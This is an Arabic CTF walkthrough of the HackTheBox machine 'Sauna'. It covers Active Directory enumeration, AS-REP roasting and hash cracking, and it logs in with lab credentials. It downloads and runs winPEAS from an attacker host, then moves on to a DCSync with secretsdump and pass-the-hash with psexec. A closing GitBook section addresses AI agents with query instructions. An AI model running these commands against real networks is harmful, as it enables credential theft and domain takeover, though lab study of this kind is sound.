> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# شرح Sauna HackTheBox

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**المهارات**:

* تسرب المعلومات
* استطلاع LDAP
* استطلاع مستخدمي Kerberos - Kerbrute
* هجوم AS-REP Roasting (GetNPUsers)
* كسر التجزئات
* استطلاع النظام - WinPEAS
* بيانات اعتماد AutoLogon
* BloodHound - SharpHound.ps1
* هجوم DCSync - Secretsdump (تصعيد الامتيازات)
* Pass-the-Hash
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/6dd1677bd39d98364eb4ed7f1780110e4d8c7108" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/610aff241f9e671bb7ce4320ae5f606cdcb8113a" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="/files/1d90be5e6b3eb9ee38ab069951b7539d53b2dde2" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractport:**/ باستخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

<figure><img src="/files/5a5e4db88b01edd311dfa78363d106ccdb06c964" alt=""><figcaption></figcaption></figure>

**فحص إصدار المنافذ باستخدام Nmap:**/ استخدم Nmap لفحص إصدارات الخدمات وحفظ المخرجات في ملف "targeted":

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="/files/04206035c1a5acfbed97554520a386f0c436a3db" alt=""><figcaption></figcaption></figure>

## **الاستطلاع والاستغلال:**

### **استطلاع SMB:**

استخدام CrackMapExec لتحديد نظام التشغيل

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="/files/1246e49bba3a7d8c569f549806bb89b3468ab911" alt=""><figcaption></figcaption></figure></div>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف.<br>

<figure><img src="/files/d30382cedcec2154d38d63ca8f13b40a117ab394" alt=""><figcaption></figcaption></figure>

#### استكشاف مشاركة SMB على الشبكة لتحديد الموارد المشتركة ولكن دون نتائج.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="/files/9cc3eeb2abdfdbf01fa7ed80d0a8b2098810564f" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="/files/087093ae8b1ae3c5f9d306913015efda4105c140" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="/files/4eab6aa9dfd74f2ae49fc54857f15b32e87cf467" alt=""><figcaption></figcaption></figure>

### **استطلاع RPC:**

استخدام rpcclient للتفاعل مع خدمات CPP وجمع معلومات الموارد

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="/files/279cd1e4621c28fcf4bdbcae34d3ebdbb9bdfd02" alt=""><figcaption></figcaption></figure>

### **استطلاع LDAP:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### تحليل معلومات LDAP للحصول على تفاصيل حول بنية النطاق والمستخدمين.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="/files/239bb398774189bcb3d0b77ae37f73e92f6a1989" alt=""><figcaption></figcaption></figure>

**تحليل معلومات LDAP**

تحليل التفاصيل المتعلقة ببنية النطاق والمستخدمين.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**تصفية مستخدمي LDAP**

تصفية للحصول على مستخدمي LDAP فقط.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="/files/79cbb06c81f39ca67c80ee02161784f409586067" alt=""><figcaption></figcaption></figure></div>

### قائمة المستخدمين:

<figure><img src="/files/a7abf78b34d50c7e62342cf4c888aa140faaca1e" alt=""><figcaption></figcaption></figure>

#### أنشئ `users.txt` ملف يحتوي على أسماء المستخدمين المحتملة.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **قائمة المستخدمين عبر Kerberos**

باستخدام `kerbrute` لسرد المستخدمين الصالحين.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="/files/28615075d7e1ca4cecdd22544d03e1f3e66df131" alt=""><figcaption></figcaption></figure>

### **قائمة المستخدمين عبر Impacket**

باستخدام `impacket-GetNPUsers` لسرد المستخدمين الصالحين بدون كلمات مرور.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="/files/44d1123f76e47edea6d1c87a005f15fe531c1e2a" alt=""><figcaption></figcaption></figure>

### هجوم القوة الغاشمة:

استخدام John لكسر الهاش المسترد.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="/files/a636929cc648f2b5cdfc47c48e4ffb05f2fe7cf4" alt=""><figcaption></figcaption></figure></div>

#### الاتصال والتحكم عن بُعد

استخدام WinRM للاتصال عن بُعد.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### يعمل، ولكن من دون علامة pwned لا يمكن الاتصال عبر WinRM.

<figure><img src="/files/a50e373270b855f658e88e67ae2cf883be6ee6d8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/08a383045a1fd0eb66479b8db0f8478cfb5b32c3" alt=""><figcaption></figcaption></figure>

في هذا المثال، يمكن الاتصال لأن المستخدم fsmith عضو في مجموعة /\*Remote Management Users

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="/files/4fe1f6d2abfa5420f799f96397655effabb322df" alt=""><figcaption></figcaption></figure></div>

#### **تسجيل الدخول باستخدام Evil-WinRM**

استخدام Evil-WinRM للاتصال التفاعلي عبر WinRM.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="/files/19161ff1a1053be6381e2b96d4c07b9a948ef0af" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات:

#### **التحقق من الامتيازات الخاصة:**

باستخدام `whoami /priv` للتحقق من الامتيازات الخاصة.

<figure><img src="/files/ff345a5f1f02eaedee90a84dfa3cfd1c41f06501" alt=""><figcaption></figcaption></figure>

#### **البحث عن مستخدمين جدد**

باستخدام `net user` للبحث عن مستخدمين جدد.

<figure><img src="/files/e71e4a2c7d6d44f96e17cf898d2d3ffa48170dca" alt=""><figcaption></figcaption></figure>

**البحث عن بيانات الاعتماد للمستخدم "svc/ loanmgr"**

### **الاستطلاع بواسطة** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

تنزيل وتشغيل أداة الاستطلاع winPEAS

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="/files/5082a71f49151a7dcd1b36c2bedf512ce0cfc6b9" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/73085cbc64dcf65644747c7af2ca0b49b54a09e8" alt=""><figcaption></figcaption></figure>

### التحقق من المعرفات التي عُثر عليها باستخدام crackmapexec:

تم العثور على بيانات اعتماد تسجيل دخول تلقائي للمستخدم `svc_loanmgr` ، مع كلمة المرور

<figure><img src="/files/88bf604e65510e4a099408e08319ac43f4c3d617" alt=""><figcaption></figcaption></figure>

#### استخدام crackmapexec للتحقق من أن كلمة المرور صحيحة.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="/files/d74d7284f05234de50b2307ae9ef412d70822979" alt=""><figcaption></figcaption></figure></div>

### الاتصال بمعرّفات "svc/ loanmgr":

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="/files/2e44bdbf37622e84eb26b5a28fa5492fa789ab7c" alt=""><figcaption></figcaption></figure>

## قائمة النطاق باستخدام Bloodhound:

<details>

<summary>تثبيت BloodHound:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### الاتصال بـ Bloodhound باستخدام بيانات الاعتماد neo4j:neo4j.

<img src="/files/273e8baf5abd79e7e18de75d371232e8f61b27a6" alt="" data-size="original">

#### جاري تشغيل BloodHound.

```bash
bloodhound &> /dev/null & disown
```

<img src="/files/27f95db5fee5d170825a3ff6f802c8c872fae83a" alt="" data-size="original">

</details>

### جمع المعلومات باستخدام SharpHound.ps1

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="/files/c45c7a6b09127196d004750523ad946c0996f082" alt=""><figcaption></figcaption></figure>

### نقل البيانات المجمعة إلى Linux واستيرادها إلى Bloodhound

#### إنشاء ملف .zip بنتائج عملية الجمع.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### تنزيل ملف zip من جهاز Windows إلى Linux.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### استيراد ملف zip إلى Bloodhound.

<figure><img src="/files/fe6c583068486e3b54fd5be80d95a72e61030000" alt=""><figcaption></figcaption></figure>

### التحليل والتنفيذ:

#### التصفية للحصول على أقصر مسار إلى الإدارة

<figure><img src="/files/3e854fe02475f770e2c55d5b49e74d0af38c1975" alt=""><figcaption></figcaption></figure>

#### تشير الأداة إلى إمكانية تنفيذ هجوم DCsync.

<div data-full-width="true"><figure><img src="/files/d81e38ea514b177447ee9df327512af1c30a2adc" alt=""><figcaption></figcaption></figure></div>

## ثغرة هجوم DCSync:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### استخدام secretsdump للحصول على NT hash من المستخدم administrator.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="/files/324d2cb73b90335504325cf9f7179235b42bc5ed" alt=""><figcaption></figcaption></figure>

#### استخدام psexec لتشغيل cmd كمسؤول باستخدام NT hash.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="/files/76fedb4e5d19ee7d9ac8e51720ef3dba80a36981" alt=""><figcaption></figcaption></figure>

### العلم النهائي :)

<figure><img src="/files/b2ebdf1f02f4ee4249150bc976c5de86c1aa8492" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/566a5fa3a3b7abaa98ea7d05bdcd425e7b1a2979" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
